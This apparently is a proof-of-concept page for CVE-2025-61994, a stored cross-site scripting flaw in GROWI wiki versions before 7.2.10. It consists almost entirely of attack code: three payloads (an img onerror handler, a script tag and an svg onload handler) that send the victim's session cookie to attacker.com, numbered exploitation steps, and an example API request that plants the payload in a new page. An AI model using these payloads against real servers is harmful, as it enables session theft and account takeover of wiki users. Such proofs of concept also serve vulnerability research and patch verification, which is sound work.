CVE-2025-61994: GROWI跨站脚本(XSS)漏洞

// CVE-2025-61994 PoC - Stored XSS in GROWI // Target: GROWI < v7.2.10 // Author: [email protected] // Method 1: Image tag with onerror handler const payload1 = '<img src=x onerror="fetch(`https://attacker.com/steal?c=${document.cookie}`)">'; // Method 2: Script tag injection const payload2 = '<script>document.location="https://attacker.com/steal?c="+document.cookie</script>'; // Method 3: SVG element with onload const payload3 = '<svg onload="fetch(`https://attacker.com/steal?data=${btoa(document.cookie)}`)">'; // Exploitation steps: // 1. Attacker with low-privilege account creates a new page // 2. Insert XSS payload into page content // 3. Save and publish the page // 4. When victim views the page, XSS payload executes // Example request to create malicious page: /* POST /_api/pages HTTP/1.1 Host: target-growi-server.com Content-Type: application/json Cookie: [attacker_session_cookie] { "body": "<img src=x onerror=\"fetch('https://attacker.com/steal?c='+document.cookie)\">", "format": "markdown", "path": "/MaliciousPage" } */